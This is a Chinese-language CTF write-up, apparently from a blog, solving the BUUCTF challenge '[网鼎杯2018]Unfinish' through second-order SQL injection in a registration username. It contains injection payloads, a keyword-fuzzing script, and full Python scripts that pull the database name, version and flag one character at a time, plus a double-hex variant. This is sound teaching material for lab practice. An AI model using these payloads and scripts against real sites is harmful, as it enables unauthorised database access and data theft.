BUUCTF_[网鼎杯2018]Unfinish

[网鼎杯2018]Unfinish

参考:

[网鼎杯2018]Unfinish_[网鼎杯2018]unfinish 1-CSDN博客

场景:

image-20240215135032954

发现是一个登录界面,我们可以猜测一下网页存在注册界面register.php

访问注册界面:

image-20240215135656875

随便注册一个账户:

1
2
3
4
POST:
email=123@qq.com
&username=south
&password=123

image-20240215140010757

使用我们注册的账户登录一下:

image-20240215140144979

image-20240215140221093

我们进入了index.php界面。

点击左上角箭头:

image-20240215141631501

发现显示了我们注册用的用户名以及图片

分析:

1
用户名是我们的可控点,这里网页显示的用户名很有可能是从数据库中提取出来的,所以很有可能存在二次注入

测试网页是否存在二次注入:

猜测二次注入的sql语句:

insert:

1
insert into user set values('123@qq.com','south','123')

测试payload:

由于username为二次注入的再次回显点,所以要利用username进行注入

1
2
3
email=123@qq.com
&username=1' and '0
&password=123

构造出来的sql语句:

1
2
3
insert into user values('123@qq.com','1' and '0','123')
<=>
insert into user values('123@qq.com',0,'123')

使用本地数据库测试我们的payload:

image-20240215144025756

重新注册我们的信息,插入我们的payload:

由于该网页经过测试,不是在原来的用户上进行信息更新,每次注册都是产生一个新用户,如果用重复的邮箱注册,回显的还是一开始注册邮箱的用户名信息。

1
2
3
email=1234@qq.com
&username=1' and '0
&password=123

image-20240215144444133

index.php显示结果:

image-20240215144501494

用户名显示的信息为0,所以该网页存在二次注入。

构造二次注入的payload:

从insert语句中分析:

1
2
3
4
5
insert into user values('xxx','yyy','123')
=>
xxx=12345@qq.com',database(),'123');/*
=>
insert into user values('12345@qq.com',database(),'123');/*','yyy','123')

本地测试sql语句:

image-20240215145954465

上传我们的payload:

1
email=2@qq.com',database(),'123');/*&username=south&password=123

image-20240215150524978

image-20240215150601141

注册了,但是没法登录,emmmm,尝试了很多次也没用,这里应该是自己的方式错了,所以参考大佬的wp在显示点username上直接注入。

二次注入在显示点上直接写入注入payload:

第一种方式:使用脚本爆破:

这里需要用到’+’,该符号在mysql中为运算符,不作为字符串的拼接,使用该符号是为了用于闭合左右单引号

本地测试使用:

sql1:

1
select '1'+'2'

image-20240215151846840

sql2:

1
select '0'+ascii(substr(database(),1,1));

image-20240215152023562

这里直接回显出了数据库第一个字符的ascii码值。

sql3:

1
select '0'+ascii(substr(database(),1,1))+'0';

image-20240215152207479

sql4:

1
INSERT into beanpublisher VALUES ('5','0'+ascii(substr(database(),1,1))+'0','123');

image-20240215152400749

payload构造:

1
2
3
email=1235@qq.com
&username=0'+ascii(substr(database(),1,1))+'0
&password=123

image-20240215152531014

发现我们输入的内容进行过滤了,所以先要寻找它过滤的内容。

fuzz.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import time
# 打开读取SQL_fuzz文件
with open("SQL_fuzz.txt", "r") as f:
contents = f.readlines()
# print(contents)
# 删除读取数据中的'\n'
data_list = []
for msg in contents:
msg = msg.strip('\n')
# # 字符串根据空格进行分割
# d = msg.split(' ')
data_list.append(msg)
f.close
# print(data_list)

black_list = []
white_list = []

# 进行fuzz注入
url = "http://06d52d1b-c47b-46df-9d12-1d45cfcca5bd.node5.buuoj.cn:81/register.php"
# GET请求
# for data in data_list:
# da = data
# # da = "1 {}".format(data)
# # da = "1{}".format(data)
# da = "1/**/{}".format(data)
# r = requests.get(url+da)
# # 使用time使请求能够拥有足够的时间去响应
# time.sleep(0.04)
# # 获取过滤网站响应信息
# reponse_txt = "你还想执行"
# if (reponse_txt in r.text):
# black_list.append(data)
# print("该网站过滤了{}".format(data))

# POST请求
for d in data_list:
# da = d
# da = "1 {}".format(d)
da = "1{}".format(d)
# POST传输json数据
payload = {
"email": '1235@qq.com',
"username": da,
"password": '123'
}
r = requests.post(url=url, data=payload)
time.sleep(0.04)
reponse_txt = "nnnnoooo!!!"
# print(r.text)
if (reponse_txt in r.text):
black_list.append(d)
print("该网站过滤了{}".format(d))
else:
white_list.append(d)


print("黑名单数据:{}".format(black_list))
print()
print("白名单数据:{}".format(white_list))

输出:

image-20240215153203778

1
黑名单数据:['INFORMATION', 'information_schema.tables', ',']

通过黑名单数据我们知道我们不能使用’,’,所以要重新构造ascii(substr(database(),1,1))

重新构造payload:

可以利用mysql的substr()函数的from x for len获取字符串中的字符

sql1:

获取第一个字符

1
select substr('abcdef' from 1 for 1)

image-20240215153802945

sql2:

获取第二个字符

1
select substr('abcdef' from 2 for 1)

image-20240215153833878

sql3:

获取从第二个字符开始的三个字符

1
select substr('abcdef' from 2 for 3)

image-20240215153930664

payload:

1
email=666%40qq.com&username=0'+ascii(substr(database()/**/from/**/1/**/for/**/1))+'0&password=123

image-20240215154856317

image-20240215154919699

成功获取到数据库第一个字符的ascii码为119=>字符’w’

根据payload构造爆破脚本:

分析:

1
使用脚本在register.php页面上传我们的payload,然后根据二次注入对的原理,在index.php界面获取用户名的值,最终将数据拼接成完整的信息。

爆数据库脚本:

脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import requests
import time
from bs4 import BeautifulSoup
import re

# register.php界面
url1 = "http://06d52d1b-c47b-46df-9d12-1d45cfcca5bd.node5.buuoj.cn:81/register.php"
# login.php界面
url2 = "http://06d52d1b-c47b-46df-9d12-1d45cfcca5bd.node5.buuoj.cn:81/login.php"
# index.php界面
url3 = "http://06d52d1b-c47b-46df-9d12-1d45cfcca5bd.node5.buuoj.cn:81/index.php"

# 设置数据库名的长度
database_len = 30

database = ''

for i in range(1, database_len):
# 注册
paylaod = "0'+ascii(substr(database()/**/from/**/{}/**/for/**/1))+'0".format(i)
data1 = {
# 设置不同的email
"email": "s1{}@qq.com".format(i),
"username": paylaod,
"password": 123

}
print(data1)
# 上传注册信息
r1 = requests.post(url=url1, data=data1)
time.sleep(0.1)
# 登录
data2 = {
"email": "s1{}@qq.com".format(i),
"password": 123
}
print(data2)
# 由于login.php登录后location为index.php,所以直接重定向到index.php界面
# 回显的内容也为index.php界面的
r2 = requests.post(url=url2, data=data2)
# print(r2.text)
time.sleep(0.1)
# 访问index.php
# r3 = requests.post(url=url3, data=data2)
# time.sleep(0.03)
# print(r3.text)
# 获取username显示的值
soup = BeautifulSoup(r2.text, 'html.parser')
span_elements = soup.find_all('span', class_='user-name')
# print(span_elements)
uername_span_value = span_elements[0]
# print(uername_span_value)
# 回显元素里面的内容
# print(uername_span_value.text)

# 使用正则提取里面的数值
# pattern = r'<span\s+class="user-name">\s*(\d+)\s*</span>'
# match = re.search(pattern, r2.text)
match = re.search(r'\d+', uername_span_value.text)
# 获取匹配的内容
match = int(match.group())
print(match)
database = database + chr(match)

print(database)
输出:

image-20240215171342866

数据库名为web

爆数据库版本信息:

payload:

1
paylaod = "0'+ascii(substr((select/**/VERSION())/**/from/**/{}/**/for/**/1))+'0".format(i)
脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import requests
import time
from bs4 import BeautifulSoup
import re

# register.php界面
url1 = "http://06d52d1b-c47b-46df-9d12-1d45cfcca5bd.node5.buuoj.cn:81/register.php"
# login.php界面
url2 = "http://06d52d1b-c47b-46df-9d12-1d45cfcca5bd.node5.buuoj.cn:81/login.php"
# index.php界面
url3 = "http://06d52d1b-c47b-46df-9d12-1d45cfcca5bd.node5.buuoj.cn:81/index.php"

# 设置数据库名的长度
version_len = 30

version = ''

for i in range(1, version_len):
# 注册
paylaod = "0'+ascii(substr((select/**/VERSION())/**/from/**/{}/**/for/**/1))+'0".format(i)
data1 = {
# 设置不同的email
"email": "s2{}@qq.com".format(i),
"username": paylaod,
"password": 123

}
print(data1)
# 上传注册信息
r1 = requests.post(url=url1, data=data1)
time.sleep(0.1)
# 登录
data2 = {
"email": "s2{}@qq.com".format(i),
"password": 123
}
print(data2)
# 由于login.php登录后location为index.php,所以直接重定向到index.php界面
# 回显的内容也为index.php界面的
r2 = requests.post(url=url2, data=data2)
# print(r2.text)
time.sleep(0.1)
# 访问index.php
# r3 = requests.post(url=url3, data=data2)
# time.sleep(0.03)
# print(r3.text)
# 获取username显示的值
soup = BeautifulSoup(r2.text, 'html.parser')
span_elements = soup.find_all('span', class_='user-name')
# print(span_elements)
uername_span_value = span_elements[0]
# print(uername_span_value)
# 回显元素里面的内容
# print(uername_span_value.text)

# 使用正则提取里面的数值
# pattern = r'<span\s+class="user-name">\s*(\d+)\s*</span>'
# match = re.search(pattern, r2.text)
match = re.search(r'\d+', uername_span_value.text)
# 获取匹配的内容
match = int(match.group())
print(match)
version = version + chr(match)

print(version)
输出:

image-20240215172813980

数据库版本为5.5.64,不能使用5.7以上的sys.schema_table_statistics_with_buffer来获取表名,以及5.6以上的mysql.innodb_table_stats,查了很多资料5.5版本好像没有其他方式获取表信息,看了其他师傅的wp好像flag都是猜出来的,那也只能猜flag就在flag表中,且为flag表的唯一记录,唯一字段。

爆flag表的唯一记录唯一字段值:

payload:

1
paylaod = "0'+ascii(substr((select/**/*/**/from/**/flag)/**/from/**/{}/**/for/**/1))+'0".format(i)

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import requests
import time
from bs4 import BeautifulSoup
import re

# register.php界面
url1 = "http://673f044a-226c-4eb8-90d5-cf820ba8c828.node5.buuoj.cn:81/register.php"
# login.php界面
url2 = "http://673f044a-226c-4eb8-90d5-cf820ba8c828.node5.buuoj.cn:81/login.php"
# index.php界面
url3 = "http://673f044a-226c-4eb8-90d5-cf820ba8c828.node5.buuoj.cn:81/index.php"

# 设置数据库名的长度
flag_len = 50

flag = ''

for i in range(1, flag_len):
# 注册
paylaod = "0'+ascii(substr((select/**/*/**/from/**/flag)/**/from/**/{}/**/for/**/1))+'0".format(i)
data1 = {
# 设置不同的email
"email": "s3{}@qq.com".format(i),
"username": paylaod,
"password": 123

}
print(data1)
# 上传注册信息
r1 = requests.post(url=url1, data=data1)
time.sleep(0.1)
# 登录
data2 = {
"email": "s3{}@qq.com".format(i),
"password": 123
}
print(data2)
# 由于login.php登录后location为index.php,所以直接重定向到index.php界面
# 回显的内容也为index.php界面的
r2 = requests.post(url=url2, data=data2)
# print(r2.text)
time.sleep(0.1)
# 访问index.php
# r3 = requests.post(url=url3, data=data2)
# time.sleep(0.03)
# print(r3.text)
# 获取username显示的值
soup = BeautifulSoup(r2.text, 'html.parser')
span_elements = soup.find_all('span', class_='user-name')
# print(span_elements)
uername_span_value = span_elements[0]
# print(uername_span_value)
# 回显元素里面的内容
# print(uername_span_value.text)

# 使用正则提取里面的数值
# pattern = r'<span\s+class="user-name">\s*(\d+)\s*</span>'
# match = re.search(pattern, r2.text)
match = re.search(r'\d+', uername_span_value.text)
# 获取匹配的内容
match = int(match.group())
print(match)
flag = flag + chr(match)

print(flag)

输出:

image-20240215210700429

flag=flag{8e13d363-3905-4f76-8f9a-b9e17c008355}

第二种方式:使用16进制获取数据库信息:

原理:

1
任何从数据库中查询的数据都可以通过16进制加密后获取,同时hex(hex(xxx))所得到的结果为数字,所以就可以用来配合0'+(select hex(hex(xxx))) +'0进行使用,如果只进行一次hex,可能会导致加秘密的结果中含有字母,从而无法进行+的运算。

获取数据库的信息:

payload:
1
email=s6%40qq.com&username=0'%2B(select/**/hex(hex(database())))%2B'0&password=123

image-20240215212512151

image-20240215212520900

hex值:
1
373736353632
解密:
1
web

image-20240215212632550

获取flag的值:

注意:
1
数据经过两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度。
payload:
1
2
先取flag的前10个字符:
email=12345%40qq.com&username=0'%2B(select/**/hex(hex(substr((select/**/*/**/from/**/flag)/**/from/**/1/**/for/**/10))))%2B'0&password=123

image-20240215214050903

image-20240215214102745

发现采用了科学计数法,所以取10个字符还是太大了。

使用脚本,每次获取三个字符:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import requests
import time
from bs4 import BeautifulSoup
import re

# register.php界面
url1 = "http://673f044a-226c-4eb8-90d5-cf820ba8c828.node5.buuoj.cn:81/register.php"
# login.php界面
url2 = "http://673f044a-226c-4eb8-90d5-cf820ba8c828.node5.buuoj.cn:81/login.php"
# index.php界面
url3 = "http://673f044a-226c-4eb8-90d5-cf820ba8c828.node5.buuoj.cn:81/index.php"

# 设置数据库名的长度
flag_len = 50

flag = ''

for i in range(1, flag_len):
# 注册
paylaod = "0'+(select/**/hex(hex(substr((select/**/*/**/from/**/flag)/**/from/**/{}/**/for/**/3))))+'0".format(i*3-2)
data1 = {
# 设置不同的email
"email": "666{}@qq.com".format(i),
"username": paylaod,
"password": 123

}
print(data1)
# 上传注册信息
r1 = requests.post(url=url1, data=data1)
time.sleep(0.1)
# 登录
data2 = {
"email": "666{}@qq.com".format(i),
"password": 123
}
print(data2)
# 由于login.php登录后location为index.php,所以直接重定向到index.php界面
# 回显的内容也为index.php界面的
r2 = requests.post(url=url2, data=data2)
# print(r2.text)
time.sleep(0.1)
# 访问index.php
# r3 = requests.post(url=url3, data=data2)
# time.sleep(0.03)
# print(r3.text)
# 获取username显示的值
soup = BeautifulSoup(r2.text, 'html.parser')
span_elements = soup.find_all('span', class_='user-name')
# print(span_elements)
uername_span_value = span_elements[0]
# print(uername_span_value)
# 回显元素里面的内容
# print(uername_span_value.text)

# 使用正则提取里面的数值
# pattern = r'<span\s+class="user-name">\s*(\d+)\s*</span>'
# match = re.search(pattern, r2.text)
match = re.search(r'\d+', uername_span_value.text)
# 获取匹配的内容
match = match.group()
print(match)
try:
byte_object = bytes.fromhex(match) # 解码为字节对象
decoded_string = byte_object.decode()
byte_object = bytes.fromhex(decoded_string) # 解码为字节对象
result = byte_object.decode()
flag = flag + result
except ValueError:
continue

print(flag)
输出:

image-20240215222233246

flag=flag{8e13d363-3905-4f76-8f9a-b9e17c008355}


BUUCTF_[网鼎杯2018]Unfinish
http://example.com/2024/02/18/2024-02-18-[网鼎杯2018]Unfinish/
作者
South
发布于
2024年2月18日
许可协议